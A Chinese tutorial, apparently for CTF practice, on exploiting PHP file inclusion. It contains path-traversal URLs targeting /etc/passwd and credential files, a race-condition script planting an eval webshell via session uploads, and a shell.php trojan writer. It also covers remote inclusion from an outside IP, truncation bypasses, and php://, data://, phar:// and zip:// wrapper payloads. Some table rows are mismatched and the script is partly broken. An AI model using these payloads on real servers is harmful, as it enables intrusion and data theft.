前言
文件包含是指会在单个文件写入需要重复使用的函数,在需要使用的时候就直接调用此文件,这种文件调用的过程一般被称为文件包含。文件包含分为本地文件包含和远程文件包含,说明如下:
- 当被包含的文件在服务器本地时,称为本地文件包含。
- 当被包含的文件在第三方服务器时,称为远程文件包含。
文件包含漏洞
原因
由于开发人员没对文件名设置严格的规则,和其服务器上的没有过滤掉这些恶意文件,导致带有恶意代码的文件进入被包含进服务器中,从而形成了文件包含漏洞。
PHP中引发漏洞的函数
include(): 表达式包含并运行指定文件
include_once(): 表达式包含并运行指定重复运行的文件
require():
require_once(): PHP会检查该文件是否已经被包含过,如果是则不会再次包含
include() 函数在包含中出现错误,会警告一次,但是代码会继续运行,require() 函数它与 include 函数几乎一样,区别是它运行错误就会中止脚本。
漏洞分类
本地文件包含漏洞
类似代码
<?php
$filename = $_GET['filename'];
include($filename);
?>
读取敏感信息
本地无限制读取,服务器没有过滤敏感信息。
Exp:
url/flie.php?filename=../../../../../../../etc/passwd
常见敏感信息路径:路径也可能因为版本的更新而更改
Windows系统路径 | 作用 |
---|---|
c:\boot.ini | 查看系统版本 |
c:\windows\system32\inetsrv\MetaBase.xml | IIS配置文件 |
c:\windows\repair\sam | 存储Windows系统初次安装的密码 |
c:\ProgramFiles\mysql\my.ini | MySQL配置 |
c:\ProgramFiles\mysql\data\mysql\user.MYD | MySQL root密码 |
windows系统 | php 配置信息 |
Linux/Unix系统路径 | 作用 |
---|---|
/etc/passwd | 账户信息 |
/etc/shadow | 账户密码文件 |
/usr/local/app/apache2/conf/httpd.conf | Apache2默认配置文件 |
/etc/passwd // 账户信息 | 虚拟网站配置 |
/usr/local/app/php5/lib/php.ini | PHP相关配置 |
/etc/passwd // 账户信息 | Apache配置文件 |
/etc/my.conf | mysql 配置文件 |
Session漏洞利用
- php中的session.upload_progress
前提:php版本 > php5.4
在php.ini中有几个默认选项
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"
session.use_strict_mode=off
详解配置
enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;
name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
prefix+name将表示为session中的键名
session.use_strict_mode=off这个选项默认值为off,表示我们对Cookie中sessionid可控。
可以利用session.upload_progress
将恶意语句写入session文件,从而包含session文件。前提需要知道session文件的存放位置。
- 前提:session 的存储位置可以获取
通过phpinfo函数,读取session的存储位置,一般路径为:在session.save_path中有显示:
/var/lib/php/session
- 条件竞争
举个例子
将包含漏洞的代码写入文件 session.php
<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>
这个代码功能,通过 GET 将变量值读入到 session 中。
首先需要通过传入变量,查看 Cookies 中的 PHPSESSID 的值,其内容就是文件名。
url/session.php?ctfs=<?php phpinfo(); ?>
Exp:
url/flie.php?filename=../var/lib/php/session文件名
通过上面写入的恶意代码,你访问文件名就可以执行了。
问题一
如果没有session_start(),如何创建session文件
解答:
当session.auto_start=on时,PHP在接受到请求后初始化Session,不用执行session_start()。但是默认情况下,这个选项是不开启的。
但是session中存在一个默认选项,session.use_strict_mode=0
。表示用户可以自定义session的ID,例如,设置Cookie里的PHPSESSION=FLAG,php就会在服务上创建一个文件:/tmp/sess_FLAG。虽然我们自己没有初始化,但是PHP也会自动初始化。并产生一个键值这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。
漏洞利用脚本
#coding=utf-8
import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('whoami');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://127.0.0.1:5555/test56.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://127.0.0.1:5555/test56.php?file=session/sess_'+sessid,data=data)
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in xrange(1,30):
threading.Thread(target=write,args=(session,)).start()
event.set()
绕过限制
%00截断
前提:php.ini
中magic_quotes_qpc=off
并且PHP
版本< 5.3.4的情况。
漏洞代码
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
它会在你访问的文件中加上 html ,但是你可以通过截断来绕过它。
Exp:
url/flie.php?filename=../../../../../../../etc/passwd%00
长度绕过
前提:在php代码包含中,这种绕过方式要求php版本 < php 5.2.8。
Windows下目录最大长度为256字节,超出的部分会被丢弃;
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
漏洞代码
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
Exp:
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
点号截断
Exp:
http://www.ctfs-wiki.com/FI/FI.php
?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
特殊符号
利用特色符号进行绕过,例如 ?、#、*、%20(空格)等
Exp:
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt?
远程文件包含
服务器的PHP配置文件中allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件。如果没有对远程文件进行严格的过滤,从而执行恶意代码。
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)
漏洞代码
<?php
$filename = $_GET['filename'];
include($filename);
?>
Exp:
url/flie.php?filename=http://192.168.91.133/FI/test.php%20
PHP伪协议文件包含
PHP是门强大的语言,所以PHP里面有许多已经封装好的协议,类似于库函数,是可以直接调用的,由于没有进行严格过滤,入侵者就可以利用这些协议完成恶意操作。可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。
php://
php:// — 访问各个输入/输出流(I/O streams)
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
php://filter
这是一个访问本地文件的协议。
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(),
在数据流内容读取之前没有机会应用其他过滤器。
php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。
名称 | 描述 |
---|---|
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(` |
write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(` |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
漏洞代码:
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
Exp:
URL/?file=php://filter/convert.base64-encode/resource=flag.php
php://input
php://input 是个可以访问请求的原始数据的只读流。
enctype="multipart/form-data" 的时候 php://input 是无效的。
用法:?file=php://input 数据利用POST传过去。
- 读取POST数据
碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据,具体函数意义下一项;
<?php
echo file_get_contents("php://input");
?>
- 写入木马
<?php
$filename = $_GET['filename'];
include($filename);
?>
前提:php配置文件中开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0)
就是你POST过去的PHP代码会被执行
恶意代码
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
它会生成一个shell.php的一句话木马文件
- 命令执行
<?php
$filename = $_GET['filename'];
include($filename);
?>
前提:php配置文件中开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0)
恶意代码
<?php system('whoami'); ?>
file://
读取本地文件中的内容
<?php
$filename = $_GET['filename']
include($filename);
?>
Exp:
/?file=file:///var/log/nginx/access.log
data://
data:数据流封装器。一般遇到 file_get_contents() 可以来用
用法:data://text/plain;base64,
<?php
// 打印 "I love PHP"
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
?>
注意:<span style="color: rgb(121, 121, 121);"><?php phpinfo();,这类执行代码最后没有?></span>
闭合;
如果php.ini里的allow_url_include=On(PHP < 5.3.0),就可以造成任意代码执行
<?php
$filename = $_GET['filename'];
include($filename);
?>
恶意代码
url/?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
phar://
这是 php 中用来解压打包文件的,不管后缀是什么。
用法:?file=phar: //压缩包/内部文件 phar://xxx.png/shell.php
注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。
步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。
Exp:
url/index.php?filename=phar://shell.png/shell.php
zip://
zip 伪协议和 phar 协议类似,但是用法不一样。
用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php。
前提: PHP > =5.3.0
注意:在windows下测试要5.3.0<PHP<5.4 才可以 # 在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。
Exp:
url/index.php?filename=zip://shell.png%23shell.php